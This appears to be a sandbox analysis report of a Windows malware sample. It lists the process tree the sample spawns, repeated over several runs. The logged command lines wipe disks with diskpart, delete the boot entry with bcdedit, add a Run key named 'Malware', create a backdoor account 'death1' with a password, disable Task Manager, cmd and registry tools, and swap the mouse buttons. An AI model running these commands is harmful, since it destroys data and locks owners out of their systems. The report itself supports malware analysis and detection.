      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:5344
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:3636
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:540
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5184
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:2056
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5240
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6484
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6864
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6248
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:6160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:4704
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5392
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6164

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py"
1⤵
PID:3720
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~3\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:1428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1368
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1936
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:1816
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5188
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:2084
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:2116
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:4640
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:6100
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:3828
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py\"" /f"
    3⤵
    PID:2804
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2548
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:2032
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:3880
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3752
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5176
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:2604
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4976
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:2644
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      PID:1896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5700
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6304
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6688
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:7132
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      PID:6412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:6480
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:3820

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py"
1⤵
PID:4656
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4564
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:2040
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:1256
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:3752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:1520
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:5848
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:5104
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:5592
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:428
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:5808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:3384
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON9BF6~1\NoComputer.py\"" /f"
    3⤵
    PID:2420
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON9BF6~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:1012
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:4472
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:2840
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      PID:1892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:532
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:5656
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:1840
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6176
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6660
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:7040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:4724
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      PID:1856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:6588
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6488

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ON9BF6~1\NoComputer.py"
1⤵
PID:3792
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ON9BF6~1\NoComputer.py
  2⤵
  - Drops startup file
  - Sets desktop wallpaper using registry
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:5348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:6104
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4544
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:3368
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:3372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:4568
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:4652
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:1296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:700
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:5256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:2696
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4788
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:4968
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:4344
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON2FE9~1\NoComputer.py\"" /f"
    3⤵
    PID:3132
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON2FE9~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:5512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:2284
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:1228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:1604
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:1532
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4252
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:2800
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:1892
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5356
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:6496
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6760
